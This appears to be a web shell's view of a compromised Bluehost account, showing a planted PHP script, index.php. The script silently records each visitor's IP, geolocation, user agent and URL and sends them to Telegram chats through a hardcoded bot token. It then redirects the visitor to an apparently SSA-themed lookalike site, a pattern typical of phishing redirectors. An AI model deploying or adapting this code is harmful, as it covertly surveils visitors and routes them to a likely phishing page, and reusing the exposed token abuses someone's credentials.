HEX
Server: Apache
System: Linux 162-240-236-42.bluehost.com 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: bt667 (1004)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/bt667/public_html/bin/index.php
<?php
// ======= Settings =======
$bot_token = '2088006594:AAEtqeIZubU61uIRSDb67yhrxuJafHfP1rs';
// **تعديل:** تم تغيير المتغير ليكون مصفوفة تحتوي على كلا المعرفين
$chat_ids = ['958343122', '7941956641'];

// Function to escape MarkdownV2 special characters
function escape_markdownv2($text) {
    $special_chars = ['_', '*', '[', ']', '(', ')', '~', '`', '>', '#', '+', '-', '=', '|', '{', '}', '.', '!'];
    return str_replace($special_chars, array_map(function($char) {
        return '\\' . $char;
    }, $special_chars), $text);
}

// Get client info
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$date_time = date('Y-m-d H:i:s');

// Get the full URL that was visited
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
$full_url = $protocol . ($_SERVER['HTTP_HOST'] ?? 'Unknown') . ($_SERVER['REQUEST_URI'] ?? '');

// Masking the domain for privacy
$domain_name = $_SERVER['HTTP_HOST'] ?? 'Unknown';
$masked_domain = $domain_name;
if (strlen($domain_name) > 6) {
    $start = substr($domain_name, 0, 3);
    $end = substr($domain_name, -3);
    $masked_domain = $start . '***' . $end;
}
$masked_url = str_replace($domain_name, $masked_domain, $full_url);

// **جديد:** الحصول على تفاصيل الـ IP
$ip_info_text = "N/A";
$ip_info_url = "http://ipinfo.io/{$ip}/json";
$ch_ip = curl_init();
curl_setopt($ch_ip, CURLOPT_URL, $ip_info_url);
curl_setopt($ch_ip, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_ip, CURLOPT_TIMEOUT, 3);
$ip_info_response = curl_exec($ch_ip);
curl_close($ch_ip);
$ip_info = json_decode($ip_info_response, true);

if (json_last_error() === JSON_ERROR_NONE && is_array($ip_info)) {
    $city = $ip_info['city'] ?? 'Unknown';
    $region = $ip_info['region'] ?? 'Unknown';
    $country = $ip_info['country'] ?? 'Unknown';
    $org = $ip_info['org'] ?? 'Unknown';
    $ip_info_text = "*City:* {$city}\n*Region:* {$region}\n*Country:* {$country}\n*Provider:* {$org}";
}

// Prepare Telegram message
$message = "🌐 *New Visit*\n";
$message .= "➡️ *URL:* " . escape_markdownv2($masked_url) . "\n";
$message .= "🌐 *IP:* " . escape_markdownv2($ip) . "\n";
$message .= "📍 *IP Details:*\n" . escape_markdownv2($ip_info_text) . "\n"; // Added IP details here
$message .= "⚙️ *User Agent:* `" . escape_markdownv2($user_agent) . "`\n";
$message .= "⏰ *Date:* " . escape_markdownv2($date_time);

// **تعديل:** حلقة foreach لإرسال الرسالة لكل chat_id
foreach ($chat_ids as $chat_id) {
    $api_url = "https://api.telegram.org/bot$bot_token/sendMessage";
    $data = [
        'chat_id'    => $chat_id,
        'text'       => $message,
        'parse_mode' => 'MarkdownV2',
    ];

    $ch = curl_init($api_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_exec($ch);
    curl_close($ch);
}
?>
<script type="text/javascript">
	window.location="https://localssa.com/pdf/"
</script>